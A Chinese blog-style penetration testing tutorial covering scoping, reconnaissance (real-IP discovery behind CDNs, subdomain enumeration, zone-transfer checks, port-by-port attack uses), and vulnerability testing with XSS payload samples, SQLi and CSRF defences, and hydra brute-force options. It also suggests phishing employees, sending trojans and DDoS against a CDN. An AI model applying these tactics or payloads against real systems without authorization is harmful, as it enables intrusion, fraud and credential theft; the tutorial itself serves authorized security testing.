渗透测试流程

× 文章目录
  1. 1. 0x00 前言
  2. 2. 0x01 明确目标
  3. 3. 0x02 信息收集
  4. 4. 0x03 漏洞发现
  5. 5. 0x04 漏洞验证
  6. 6. 0x05 后渗透阶段
  7. 7. 0x06 报告编写
  8. 8. 0x07 风险规避

总结,持续更新

渗透千万条,安全第一条。渗透不授权,亲人泪两行!

白帽子要有自己的原则和底线,即使数据再诱人,也千万不要去拿任何数据!

是要在客户允许的范围内进行测试,白帽子需要有白帽子的底线!

0x00 前言

渗透测试是指渗透人员在不同的位置(比如从内网、从外网等位置)利用各种手段对某个特定网络进行测试,以期发现和挖掘系统中存在的漏洞,然后输出渗透测试报告,并提交给网络所有者。网络所有者根据渗透人员提供的渗透测试报告,可以清晰知晓系统中存在的安全隐患和问题。

但是注意任何没有明确授意 授权的渗透测试都可能存在法律风险,授权最好是纸质文档形式,有你授权人的姓名身份证号甲方盖章和单位名称等。

渗透测试不同于入侵,入侵是不择手段的,甚至是居右破坏性的拿到系统权限

0x01 明确目标

当拿到一个合法的渗透测试项目时,我们首先应该明确客户要求我们进行渗透测试的范围以及整体项目的时间。

  • 确定范围:测试目标的范围,ip,域名,内外网。
  • 确定规则:能渗透到什么程度,时间?能否修改上传?能否提权?哪些社工手段不能使用等。
  • 确定需求:web应用的漏洞(新上线程序)?业务逻辑漏洞(针对业务的)?人员权限管理漏洞(针对人员、权限)?等等。(立体全方位)

不会些什么长篇大论,都是CV的,现在在甲方,渗透尽量在不影响业务系统正常运行的前提下进行一次完整的测试,需要全面测试,不能只测出来几个漏洞应付了事了。当然,版本迭代/新业务线啥的一般都是在测试环境上做了,线上的主要看有没有配置问题(服务器/中间件等安全基线这块都没做)

0x02 信息收集

在对一个站进行渗透测试的过程中,信息收集是非常重要的。信息收集的详细与否可能决定着此次渗透测试的结果,知己知彼,百战不殆。

信息搜集分为主动信息搜集和被动信息搜集。

主动信息搜集就是通过直接访问和扫描信息的方式进行收集信息,缺点是会记录自己的操作信息;被动信息搜集就是通过第三方服务进行信息搜集,缺点是收集信息有限。

  • 真实IP查询

    企业常常为了增强网页访问速度为服务加cdn,CDN的虚假IP干扰了我们的渗透测试,如何判断是否做了cdn

    可以通过站长工具多地ping服务,或使用nslookup进行检测,如果做了cdn的话域名解析会返回多个IP地址

    验证ip和域名是否真实对应,修改本地hosts文件,强行将域名与ip解析对应,然后访问域名,查看页面是否变化

    如何绕过cdn查询真实IP的一些方法:

    1. ping顶级域名或子域名,一般企业都只会对www域名做cdn,而常常忽略了空域名和子域名,确定了没有使用CDN的二级域名后,本地将目标域名绑定到同ip,能访问就说明目标站与二级域名在同一服务器,也可能在同C段,扫描C段所有开80端口的ip,挨个尝试

    2. 查询历史dns记录,如果存在做了cdn之前的历史记录也是可以查到真实ip的,相关查询网站有:

      1
      2
      3
      4
      5
      6
      7
      https://dnsdb.io/zh-cn/
      https://x.threatbook.cn/
      http://toolbar.netcraft.com/site_report?url=
      http://viewdns.info/
      http://whoisrequest.com/history/
      https://tools.ipip.net/cdn.php
      https://securitytrails.com/
    3. DNS社工库 Ps.和查询历史dns记录道理一样,没有相关的裤子

    4. 还可以使用对方的邮件服务(如注册激活邮件、找回密码),站点的sendmail功能或者是rss订阅服务,当目标给你发送了一条消息也可以从消息中找到真实ip

    5. 利用国外的vps去ping一下域名,大部分CDN提供商只针对国内市场,而对国外市场几乎是不做CDN,所以有很大的几率直接解析到真实IP。

    6. 网站的各种探针类文件,如phpinfo里面的_SERVER["SERVER_ADDR"]也包含的有服务器端的真实ip,当然这个情况还是比较少的,因为一般都会把phpinfo给删除

    7. 如果目标网站有自己的app或软件产品,抓下它的请求,看看能不能这里面找到目标的真实ip

    8. 通过各种漏洞或其他方式想办法让目标反向连接我们,比如命令执行反弹shell、ssrf漏洞、xss盲打后台,被动和目标数据库建立连接等等

    9. 使用nslookupdig更改dns为国外的不知名的dns服务器来解析目标域名的各种记录(ns、a、mx等)可能查到其真实ip

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      收集的部分国外dns服务器
      209.244.0.3
      64.6.64.6
      8.8.8.8
      9.9.9.9
      8.26.56.26
      199.85.126.10
      208.67.222.222
      195.46.39.39
      69.195.152.204
      208.76.50.50
      216.146.35.35
      37.235.1.174
      198.101.242.72
      77.88.8.8
      91.239.100.100
      74.82.42.42
      109.69.8.51
      156.154.70.1
      1.1.1.1
      45.77.165.194
    10. 让服务器去访问你的vps,比如说这个网址有设置头像的方式,并且可以直接填写头像的url,或者插入远程图片,那么我们可以把图片放在自己vps上提交给服务器,那么也可以从日志中得到真实ip

    11. DDOS,耗尽CDN流量,回源之后找到真实ip。不设防的cdn量大就会挂,高防CDN要增大流量 Ps.没有资源,现在防ddos也比较强,没尝试过

    12. 社工手段,拿到目标网站管理员在cdn的账号,从配置中找到网站的真实IP地址 Ps.沟通障碍

    13. 全网扫描zmap,使用 Zmap 的 banner-grab 扫描出来 80 端口开放的主机进行 banner 抓取,最后在 http-req 中的 Host字段匹配相关域名 Ps.因造成网络拥堵,后续没有尝试

    14. 通过shadan/zoomeye/fofa搜索网站特殊标题、内容、网站源码

    15. cloudflare,如CloudFailCloudFlare防护下的破绽:寻找真实IP的几条途径http://crimeflare.net:83/cfssl.html(需要翻墙)

  • whois信息查询

    当拿到一个域名的时候,我们首先应该进行whois查询,可以使kali 下面的 whois命令或者使用chinaz在线工具,whois信息可以获取关键注册人的信息,包括注册公司、注册邮箱、管理员邮箱、管理员联系手机等,对后期社工很有用,还可以查询同一注册人注册的其他的域名,域名对应的NS记录、MX记录,自动识别国内常见的托管商(万网、新网等)。或者我们可以有针对性的利用其信息生成字典,对后台或者其他登录功能进行爆破。

    who.is:https://who.is/

    站长之家:http://whois.chinaz.com/

    爱站:https://whois.aizhan.com/

    微步:https://x.threatbook.cn/

  • 利用搜索引擎发现和侦察信息泄露,如google hacking获得后台,未授权页面,敏感url等

    利用google去搜索包括特殊文本字符串的网页
    inurl:xxx filetype:xls
    inurl:xxx site:xxx.com

  • 旁站C段查询

    旁站是和目标网站在同一台服务器上的其它的网站;如果从目标站本身找不到好的入手点,这时候,如果想快速拿下目标的话,一般都会先找个目标站点所在服务器上其他的比较好搞的站下手,然后再想办法跨到真正目标的站点目录中。C段是和目标机器ip处在同一个C段的其它机器;通过目标所在C段的其他任一台机器,想办法跨到我们的目标机器上。常用的工具有ip反查,Nmap,Zenmap。

  • 指纹识别/网站架构探测

    通过指纹识别,我们可以明确这个网站服务器是用什么操作系统(win/linux)

    • TTL
    • 路径大小写
    • 访问不存在的页面
      针对一个web服务,我们应该首先明确这个是由什么语言开发的前后端,常见脚本语言有php/asp/aspx/jsp等
    • respone包头
    • index.php/index.jsp/index.asp
    • 爬虫爬取网站结构,看xx.jsp?等

    使用的什么webserver版本和类型,因为不同的webserver也有不同的解析漏洞或者其他的漏洞,常见的服务器包括apache/tomcat/iis/nginx。

    • 使用浏览器插件(wappalyzer)可以很方便的查看这些信息
    • 使用nc 或telnet 可以观察数据包特征或者网页加载的特殊文件来识别cms,如nc xxx.com 80
    • 通过Zoomeye、Shodan等在线系统搜集
    • 利用Nmap(namp -sT -Pn -v <IP>)、MSF、Zmap等端口和指纹识别功能搜集
    • 使用burpsuite、Niketo、Whatweb、在线cms指纹识别工具等
      • HTTP 标头 ,如 X-Powered-By 字段
      • cookie
      • HTML 源代码
      • 特定文件和文件夹,例如/templets/default/style/dedecms.css — dedecms
      • 网站独有文件的md5,例如favicon.ico
      • 网站命名规则;返回头的关键字;网页关键字;URL特征;Meta特征;Script特征;robots.txt;网站路径特征;网站静态资源;爬取网站目录信息等
        是否用了某种开源程序cms,然后我们可以利用公开的对应版本的poc、默认的后台登录页/数据库服务端口认证等进行测试,当然我们也可以将对应版本的源码下载下来进行代码审计。

        用什么框架开发的,如Thinkphp、struts2,很多网站都利用开源的框架来快速开发网站,所以收集网站的框架信息也是非常关键的。
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        开源的软件

        常见的开源软件有:wordpress、phpbb、dedecms等
        开源的框架

        常见的开源框架有:Struts2、 Spring MVC、ThinkPHP等
        中间件服务器

        常见的中间件服务器有:jboss、tomcat、Weblogic等
        数据库服务

        常见的数据库服务:mssql、mysql、oracle、redis、sybase、MongoDB、DB2等

    是否使用负载均衡,负载均衡是通过在多个服务器中分割WEB流量,来确保单个服务器的请求不会超载,一般不可见,但是有可能极大的改变渗透测试的进程。当发出请求的时候,负载均衡可能将请求交给其中的一个服务器来处理。每个服务器的应用结构虽然相同,但是文件夹不同、补丁级别不同及其他配置可能完全不同

    • 使用kali下的lbd工具识别
    • halberd
    • msf下 auxiliary/gather/f5_bigip_cookie_disclosure 模块
    • 对临近IP段进行扫描
    • 响应时间戳分析:有些服务器没有同步时间,就可以在一秒发出多个请求确定是否有多台服务器
    • 通过比较相同请求资源的首部响应中的ETag和Last-Modified的值,能够确定是否会从多个服务器上的到不同的文件
    • 通过查找cookie:有些服务器会在HTTP会话中加入自己的cookie来指定负载回话
    • 枚举SSL异常:查看SSL证书是否存在差异,是否支持同一个密码长度
    • 检查HTML源码中返回的注释

    是否存在防护设备

    • 有没有waf,具体是什么类型waf,可以在目标url的动态参数输入一些敏感特征,看是否拦截,也可以用工具判断whatwaf、wafw00f、nmap脚本(http-waf-detect、http-waf-fingerprint),熟悉各种bypasswaf的骚姿势
    • 服务器防火墙是否开放,一般都会禁止icmp,通过ping命令探测
  • 历史漏洞收集

    了解目标历史漏洞对我们帮助也是非常的大,至少我们可以知道网站设计人员喜欢在什么地方犯错误,喜欢犯什么类型的错误。这样我们可以有针对性的进行渗透测试,或者说我们可以查看是否已经修补过得漏洞是否能够绕过。exploitdb 、hackerone、CNVD 、乌云漏洞库镜像站。

  • 利用app进行信息收集

    可以利用工具对其进行逆向,找出其所使用的url链接,然后进行专门的渗透测试

  • 敏感目录/文件

    敏感目录包括但不限于网站的敏感文件(.mdb,.excel,.word,.zip,.rar),各类web入口(后台、控制台弱口令、爆破)、未授权访问的上传页面,文本编辑器、robots.txt、.git文件泄露,.svn文件泄露,.DB_store文件泄露,WEB-INF/web.xml泄露或者phpmyadmin等等目录。
    就拿备份文件来讲,一般人拿到以后只会查看是否有数据库账号密码进行连接,如果没有就无从下手,其实我们可以通过代码审计发现它的漏洞进行渗透测试。再比如phpmyadmin,我们可以使用爆破工具对其账号密码进行爆破。或者是之前有黑阔留下的后门文件,我们也可以爆破其密码进行利用。
    目录扫描有两种方式,使用目录字典进行暴力才接存在该目录或文件返回200或者403;使用爬虫爬行主页上的所有链接,对每个链接进行再次爬行,收集这个域名下的所有链接,然后总结出需要的信息。常用工具dirsearch、御剑、wwwscan、BBscan、爬虫等发现或爆破发现隐藏页面,增加攻击面

  • 端口信息

    服务和安全是相对应的,每开启一个端口,那么攻击面就大了一点,开启的端口越多,也就意味着服务器面临的威胁越大,如服务配置错误、服务自身漏洞利用、弱口令等。当拿到一个ip的时候,我们一般都需要使用nmap或者其他同类扫描工具如masscan对其开放端口以及端口对应的服务和版本信息进行扫描。通过端口开放情况,我们可以针对性的对其进行渗透测试

    Nmap常用命令:nmap -T4-sT -Pn -sV ip

    关键的操作就是确定端口后边的软件及软件版本,然后去个漏洞库去查找其存在的漏洞乃至exp
    搜索漏洞信息

    常见端口:21,22,23,80-90,161,389,443,445,873,1099,1433,1521,1900,2082,2083,2222,2601,2604,3128,3306,3311,3312,3389,4440,4848,5432,5560,5900,5901,5902,6082,6379,7001-7010,7778,8080-8090,8649,8888,9000,9200,10000,11211,27017,28017,50000,50030,50060

端口号 端口服务/协议简要说明 关于端口可能的一些渗透用途
tcp 20,21 ftp 默认的数据和命令传输端口[可明文亦可加密传输] 允许匿名的上传下载,爆破,嗅探,win提权,远程执行(proftpd 1.3.5),各类后门(proftpd,vsftp 2.3.4)
tcp 22 ssh[数据ssl加密传输] 可根据已搜集到的信息尝试爆破,v1版本可中间人,ssh隧道及内网代理转发,文件传输,等等…常用于linux远程管理…
tcp 23 telnet[明文传输] 爆破,嗅探,一般常用于路由,交换登陆,可尝试弱口令,也许会有意想不到的收获
tcp 25 smtp[简单邮件传输协议,多数linux发行版可能会默认开启此服务] 邮件伪造,vrfy/expn 查询邮件用户信息,可使用smtp-user-enum工具来自动跑
tcp/udp 53 dns[域名解析] 允许区域传送,dns劫持,缓存投毒,欺骗以及各种基于dns隧道的远控
tcp/udp 69 tftp[简单文件传输协议,无认证] 尝试下载目标及其的各类重要配置文件
tcp 80-89,443,8440-8450,8080-8089 web[各种常用的web服务端口] 各种常用web服务端口,可尝试经典的top n,vpn,owa,webmail,目标oa,各类java控制台,各类服务器web管理面板,各类web中间件漏洞利用,各类web框架漏洞利用等等……
tcp 110 [邮局协议,可明文可密文] 可尝试爆破,嗅探
tcp 137,139,445 samba[smb实现windows和linux间文件共享,明文] 可尝试爆破以及smb自身的各种远程执行类漏洞利用,如,ms08-067,ms17-010,嗅探等……
tcp 143 imap[可明文可密文] 可尝试爆破
udp 161 snmp[明文] 爆破默认团队字符串,搜集目标内网信息
tcp 389 ldap[轻量级目录访问协议] ldap注入,允许匿名访问,弱口令
tcp 512,513,514 linux rexec 可爆破,rlogin登陆
tcp 873 rsync备份服务 匿名访问,文件上传
tcp 1194 openvpn 想办法钓vpn账号,进内网
tcp 1352 Lotus domino邮件服务 弱口令,信息泄漏,爆破
tcp 1433 mssql数据库 注入,提权,sa弱口令,爆破
tcp 1521 oracle数据库 tns爆破,注入,弹shell…
tcp 1500 ispmanager主机控制面板 弱口令
tcp 1025,111,2049 nfs 权限配置不当
tcp 1723 pptp 爆破,想办法钓vpn账号,进内网
tcp 2082,2083 cpanel主机管理面板登录 弱口令
tcp 2181 zookeeper 未授权访问
tcp 2601,2604 zebra路由 默认密码zerbra
tcp 3128 squid代理服务 弱口令
tcp 3312,3311 kangle主机管理登录 弱口令
tcp 3306 mysql数据库 注入,提权,爆破
tcp 3389 windows rdp远程桌面 shift后门[需要03以下的系统],爆破,ms12-020[蓝屏exp]
tcp 4848 glassfish控制台 弱口令
tcp 4899 radmin远程桌面管理工具,现在已经非常非常少了 抓密码拓展机器
tcp 5000 sybase/DB2数据库 爆破,注入
tcp 5432 postgresql数据库 爆破,注入,弱口令
tcp 5632 pcanywhere远程桌面管理工具 抓密码,代码执行,已经快退出历史舞台了
tcp 5900,5901,5902 vnc远程桌面管理工具 弱口令爆破,如果信息搜集不到位,成功几率很小
tcp 5984 CouchDB 未授权导致的任意指令执行
tcp 6379 redis未授权 可尝试未授权访问,弱口令爆破
tcp 7001,7002 weblogic控制台 java反序列化,弱口令
tcp 7778 kloxo 主机面板登录
tcp 8000 Ajenti主机控制面板 弱口令
tcp 8443 plesk主机控制面板 弱口令
tcp 8069 zabbix 远程执行,sql注入
tcp 8080-8089 Jenkins,jboss 反序列化,控制台弱口令
tcp 9080-9081,9090 websphere控制台 java反序列化/弱口令
tcp 9200,9300 elasticsearch 远程执行
tcp 10000 webmin linux主机web控制面板入口 弱口令
tcp 11211 memcached 未授权访问
tcp 27017,27018 mongodb 爆破,未授权访问
tcp 3690 svn服务 svn泄露,未授权访问
tcp 50000 SAP Management Console 远程执行
tcp 50070,50030 hadoop 默认端口未授权访问
  • 子域名信息收集

    在渗透测试的时候,往往主站的防御会很强,常常无从下手,那么子站就是一个重要的突破口,因为一个企业可能对子域名的安全不是很重视,甚至有些子域名只是内测阶段还没有上线,因此子域名是渗透测试的主要关注对象,子域名搜集的越完整,那么挖到的漏洞就可能更多,甚至漏洞的级别也会更高。常用工具暴力枚举subDomainsBrute、子域名挖掘机Layer、DNS域传送漏洞、https证书日志、DNS解析记录、搜索引擎(baidu/google)、IP反查、主站爬取、shodan/fofa/zoomeye等

    有许多第三方服务聚合了大量的DNS数据集,并通过它们来检索给定域名的子域名

    VirusTotal:https://www.virustotal.com/#/home/search

    DNSdumpster:https://dnsdumpster.com/

    基于SSL证书查询

    https://crt.sh/

    https://censys.io/

    https://developers.facebook.com/tools/ct/

    https://google.com/transparencyreport/https/ct/

    利用dig检查目标ns服务器是否允许传送

    区域传送:允许第三主服务器的数据刷新自己的区域数据库,防止主域名服务器因意外故障变得不可用时影响到这个网络。 区域传送配置错误:只要有人发出请求,就会提供一个区域数据库的拷贝,把内部主机名和ip地址暴露出来

    首先,应该去查下目标的ns服务器是否允许区域传送,如果允许,直接把目标的整个子域备份过来即可,可以使用 dig(可以从该域名的官方DNS服务器上查询到精确的权威解答)或 nslookup(得到DNS解析服务器保存在Cache中的非权威解答)

    • 查出目标自己所有的ns记录,然后挨个尝试目标ns服务器是否允许传送(务必是目标自己的ns服务器,第三方的不算)
      1
      2
      3
      # dig +short @8.8.8.8 xx.cn ns
      dns.xx.cn.
      dns1.xx.cn.
      通过上面的查询,我们确定了目标自己的三个ns服务器,下面就开始来尝试逐个传送,这里还是要注意,必须用目标自己的ns服务器来解析它自己的子域
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    # dig @dns.xx.cn xx.cn axfr

    ; <<>> DiG 9.11.3-1ubuntu1.1-Ubuntu <<>> @dns.xx.cn xx.cn axfr
    ; (1 server found)
    ;; global options: +cmd
    ; Transfer failed.

    # dig @dns1.xx.cn xx.cn axfr

    ; <<>> DiG 9.11.3-1ubuntu1.1-Ubuntu <<>> @dns1.xx.cn xx.cn axfr
    ; (1 server found)
    ;; global options: +cmd
    ; Transfer failed.

    很显然,上面的这些ns服务器都不允许传送,如果目标ns服务器实在不允许传送,从其他的各种记录中获取子域,如,mx记录,spf记录,srv记录…

  • 邮件系统信息

    通过域名MX记录查看是否为自建邮件服务器,自建的情况下可以后续测试漏洞,通过TheHarvester可以进行邮箱挖掘,没有找到漏洞也可以进行钓鱼

  • 了解网站业务功能

    我们需要对整个站点的整体功能有所了解,从注册用户到更改信息更改密码等等,所有的功能都需要尽可能体验一遍,在体验的同时就应该思考这个功能可能产生什么样的漏洞,比如:登陆/留言/下单/退出/退货/付款等。并且需要多注册几个账号,这对后面的csrf漏洞发现或者逻辑漏洞发现等等都很有帮助

  • 了解网站目录的结构

    在开始安全测试之前, 了解应用程序的结构是至关重要的。如果不彻底了解应用程序的布局, 就不可能对其进行彻底的测试。可以通过burpsuite自动化爬虫,

  • 企业及员工信息收集-社会工程学

    通过天眼查、官方网站等可以查到企业的一些基本信息

    通过说明文档以及网站页面收集,或者网站发表者以及留言板信息处收集账号

    通过 teemo,metago,burpusit,awvs,netspker 或者 google 语法收集

    搜索相关 QQ 群收集相关企业员工的社交账号

    拿着姓名/手机/邮箱等到各网站搜一圈看注册信息

    拿到员工的信息,我们可以尝试使用弱密码进行登录一些内部平台,并且一些员工的邮箱的前缀很可能就是他的密码。当然,如果说当一个服务不允许多次使用错误密码登录,我们可以先确定弱口令,然后爆破收集到的账号信息去爆破哪些用户使用这个弱口令从而绕过这个防护机制。

    可以尝试给对方邮箱发送钓鱼邮件或木马

    UitraISO+Hacksaw制作木马启动盘

    Airmom-ng假冒ap,并利用karma架设假冒服务

    水坑攻击或鱼叉式钓鱼

  • 网站备案信息

    天眼查:https://www.tianyancha.com/

    ICP备案查询网:http://www.beianbeian.com/

    国家企业信用信息公示系统:http://www.gsxt.gov.cn/index.html

    工信部备案管理系统:http://www.miitbeian.gov.cn/publish/query/indexFirst.action

  • F12审查网页元素

    对于程序员来说, 在源代码中添加详细注释和元数据是非常普遍的,甚至是推荐的。但是, HTML 代码中包含的注释和元数据可能会对潜在攻击者暴露内部信息。应对源代码中的注释和元数据进行审查以确定是否泄露了任何信息。

根据已搜集的信息进行梳理与分析,查找疏漏点进行搜集补充,从各个角度都整理一套渗透攻击步骤与思路的规划,优先以最擅长和最有把握的方面切入

0x03 漏洞发现

  • 漏洞扫描

    关于漏洞扫描的工具太多了,一般使用awvs/newwus扫描,其他辅助工具 Nmap、msf、searchsploit(exlpoitdb)、burp、firefox插件等

    但是不要依赖工具,很多漏洞工具都是扫不出的,一定要结合手工测试漏洞,需要靠平时的积累学习,且扫描器扫描会插入很多脏数据(数据库/日志等)对网站数据和服务造成破坏。

    拿到环境和不同权限的测试账号后,和业务方沟通业务逻辑,先熟悉一下网站的基本功能和结构,注册/登陆/各个功能模块,从系统漏洞/中间件漏洞/web漏洞

  • sql注入

    定义:Web程序代码中对于用户提交的参数未做过滤就直接放到SQL语句中执行,导致参数中的特殊字符打破了SQL语句原有逻辑,黑客可以利用该漏洞执行任意SQL语句。

    掌握常用的sql注入手法,熟练使用sqlmap或者同类工具。还需要学会剑走偏锋,多去探索冷门的sql注入方法,这样才不会被过滤了某些字符的时候而束手无策。

    **其次作为白帽子要有自己的原则和底线,即使数据再诱人,也千万不要去拿任何数据!**,还需要注意的是如后端语句使用了insert可能一个简单的逻辑判断都能把整个表给篡改了,要注意备份

    何防止SQL注入:

    • 不信任用户的输入;
    • 不使用动态拼接sql,可使用参数化的sql或直接使用存储过程进行数据查询存取;
    • 不使用管理员权限的数据库连接;
    • 对机密信息进行加密或hash掉密码和敏感信息;
    • 应用异常尽可能少在web提示,最好使用自定义信息对应用的异常信息进行包装;
    • 采用工具或网络平台检测是否存在SQL注入。
    • 最有效的防御SQL注入的方式是在所有的数据库操作上使用参数化查询(也被称为预编译)。预编译通过两步把可能存在危害的数据整合到SQL查询中。第一步,应用定义查询语句的结构,在语句中预留位置给用户输入。第二部,应用把每个位置需要的用户输入传递给数据库。因为第一步中,应用已经定义了语句的结构,数据库已经对语法进行了编译,第二部中及时传入恶意的用户输入也无法影响SQL语句的语意,从而避免了SQL注入攻击。对于不同的数据库和编程语言需要查询文档,寻找合适的api。强烈建议使用参数化处理SQL语句中的每一个变量。需要注意的是以下一些防御SQL注入的方式并不总是有效的,所以不建议大家使用以下的方式防御SQL注入:一种常见的方式是在用户数据拼接到SQL语句之前转义其中的单引号。这是为了避免用户插入单引号,改变了SQL的语法。但是如果变量类型是数字型,这种防御就可能失败。因为SQL语句结构中并没有单引号包裹变量的话,仅仅使用空格就可以改变语法结构。另一种常见的防御方案是使用存储过程。尽管存储过程提供了很多安全特性,但是并不能保证防御SQL注入。当存储过程中可以动态创建SQL结构的时候就可能会发生SQL注入。

    从数据库读取数据

  • xss漏洞

    定义:恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

    前端漏洞也是一个很大的板块,在做渗透测试的时候我们需要抓住一些细微的点,对每一个输出点都尽可能的测试,并且想方设法的去绕过

    用户输入被返回到前端页面

    payload

    XSS可能发生的场景

    1. 在HTML标签中输出

      1
      2
      3
      4
      5
      6
      <div>$var</div>
      <a href=# >$var</a>

      <!--在这种场景下,XSS的利用方式一般是构造一个<script>标签,或者是任何能够产生脚本执行的方式。-->
      <div><script>alert(/xss/)</script></div>
      <a href=# ><img src=# onerror=alert(1) /></a>
    2. 在HTML属性中输出

      1
      2
      3
      <div id="abc" name="$var" ></div>
      <!--灵活构造XSS PAYLOAD-->
      <div id="abc" name=""><script>alert(/xss/)</script><"" ></div>
    3. <script>标签中输出

      1
      2
      3
      4
      5
      6
      7
      <script>
      var x = "$var";
      </script>
      <!--攻击者需要先闭合引号才能实施XSS攻击-->
      <script>
      var x = "";alert(/xss/);//";
      </script>
    4. 在事件中输出

      1
      2
      3
      <a href=# onclick="funcA('$var')" >test</a>
      <!--可能的攻击方法-->
      <a href=# onclick="funcA('');alert(/xss/); //')" >test</a>
    5. 在CSS中输出

      1
      2
      3
      4
      5
      6
      7
      <style type="text/css">
      body {background-image:url(${xss});}
      body {background-image:expression(${xss});}
      </style>
      在CSS中输出同样存在XSS的风险,如:
      body {background-image:url("javascript:alert('XSS')");}
      body {background-image:expression(alert(/xss/));}
    6. 在地址中输出
      6.1 在URL的path(路径)或者search(参数)中输出

      1
      2
      <a href="http://www.evil.com/?test=$var" >test</a>
      <a href="http://www.evil.com/?test=" onclick=alert(1)"" >test</a>

      防御方法:使用URLEncode

      6.2 整个URL能够被用户控制
      这时URL的Protocol和Host部分是不能够使用URLEncode的

      1
      <a href="$var" >test</a>

      攻击方法:

      1
      2
      <a href="javascript:alert(1);" >test</a>
      <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=" >test</a>

      防御方法:检查变量是否以”http”开头,再对变量进行URLEncode,OWASP中有函数ESAPI.encoder().encoderForURL(),但此API未解决伪协议的问题。

    如何防止XSS跨站脚本攻击:(原则是不相信用户输入的数据)

    • 将重要的cookies标记为http only,这样JavaScript中的document.cookie语句就不能获取到cookie了;
    • 只允许用户输入我们期望的数据,如年龄的textbox中只允许输入数字,其余过滤;
    • 对数据进行Html Encode处理,如<转化为&lt;、&转化为&amp;
    • 过滤或移除特殊的Html标签,如:script、iframe;
    • 过滤JavaScript事件的标签,如“onclick=”、“onfocus”等等。
  • 上传漏洞

    各种web中间件解析漏洞,各类编辑器漏洞利用,bypass上传检测(黑名单、白名单配合解析漏洞、阶段、.htaccess自解析、配合本地包含漏洞一起利用

    更多《文件上传漏洞总结》

  • xxe漏洞

    xxe漏洞如果存在的话危害是非常大的,从读取信息到探测内网等等

  • 逻辑漏洞

    逻辑漏洞包括任意重置用户密码,修改订单等等,这类漏洞是扫描器所不能扫描出来的,所以需要我们认真分析整个站点的功能,分析其逻辑,多用burpsuite抓包观察数据包是否可篡改,验证码是否可爆破等等

  • csrf

    定义:是指攻击者通过伪装来自受信任用户的请求来利用受信任的站点,强制对已完成认证的用户进行非预期的个人信息或设定信息等某种状态更新,也就是说攻击者盗用了你的身份,以你的名义发送恶意请求。

    攻击者迫使web应用的用户去执行攻击者预设的操作,如果服务器没有合适的防御措施,用户即使访问熟悉的可信网站(生成的poc可以隐藏到论坛/blog等用户生成内容的网站中)也有受到攻击的危险

    攻击者并不能通过CSRF攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。

    因此对于用户来说很难避免在登陆一个网站之后不点击一些链接进行其他操作,所以随时可能成为CSRF的受害者。

    检测csrf漏洞一般是看每一个操作是否有验证码验证,是否有token或者referer,可以注册多个账户然后利用A用户生成的poc去检测B用户,poc可以通过burpsuite去生成

    功能使用的是请求/响应模式

    如何防止CSRF跨站请求攻击:

    • 在web站点,将持久化的授权(例如cookie或者http授权)切换为瞬时的授权方法(在每个form中提供隐藏field);

    • 验证码,强化用户与应用的交互,但每个请求都加验证码,用户友好性体验差,不适合实际使用;

    • 在HTTP头中自定义属性并验证 + One time tokens;

    • 检查请求header中的referer也能帮助组织CSRF攻击,但服务器不是总能拿到referer,有些浏览器出于安全会隐私考虑会不发referer,所以也不常用;

    • 在浏览其它站点前退出登录站点或者浏览结束后清理浏览器cookies;

    • 不同的表单包含一个随机的token,在用户提交数据的同时提交这个token,服务器端对比后如果不正确,则拒绝执行操作。
      这里是对token的建议如果是已登录的界面给予建议:在前端生成含有 用户id|当前时间|当前用户ip可逆的组合加密项(注意是加密不是编码,切忌不要用base64等常见编码当加密措施),然后后端接收到token然后解密并验证用户ID是否与当前cookie中的用户id一致、用户当前IP是否一致、用户提交的时间与当前时间间隔,如果差距在30分钟以上那么需要用户重新刷新表单提交。

      首先当用户第一次访问页面的时候,服务端可以获取到用户的ID、用户的当前IP、当前用户访问的时间等一些相关信息,利用这些信息组合做一个可逆向的加密,返回给前端,在前端生成一个input hidden项 name为token,直接放入 value,如果用户执行页面的一些操作Get、Post等请求,会自动带上此值,然后服务端解密此值,然后在与当前获取的同样的数据做判断。

  • 未授权访问

    这里所指的未授权包括各种空密码之类的,这种漏洞危害是不言而喻的

  • 弱口令

    可以通过爆破的方式发现弱口令,web可以使用burpsuite,服务可以使用hydra

    hydra简单使用

    项目地址:https://github.com/vanhauser-thc/thc-hydra

    hydra可以运行在Linux, Windows/Cygwin, Solaris, FreeBSD/OpenBSD, QNX (Blackberry 10) and MacOS

    支持的协议包括:Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    -R	从上次未完成的爆破文件[hydra.restore]中读取爆破进度并接着上次的进度继续往后爆破
    -S 爆破https时需要加上该选项
    -s 如果要爆破的服务用的不是默认端口,可以用这个来手工指定服务端口号
    -l/-L 指定用户名 / 指定用户名字典文件
    -p/-P 指定密码 / 指定密码字典文件[字典务必要自己精心准备,别人的始终不适合自己的环境]
    -e 尝试空密码[n]/尝试将用户名作为密码[s]/尝试将用户名和密码位置调换爆破[r]
    -f/-F 当爆出第一个正确的密码后,就自动退出程序,-f表示单个'进程'退出,-F表示全局退出
    -t 指定爆破进程,实际爆破中给8个左右即可,太高了容易报警,速度慢不怕,就怕动静儿太大,这里只是个参考,如果目标内网环境相对比较松,可以适当再放大一点,当然,肯定不能 无限大,基于目标系统而定,大家酌情使用吧
    -w 设定超时时长,默认32秒,一般情况10秒即可
    -4/-6 4表示用ipv4,6表示用ipv6
    -v 显示爆破信息
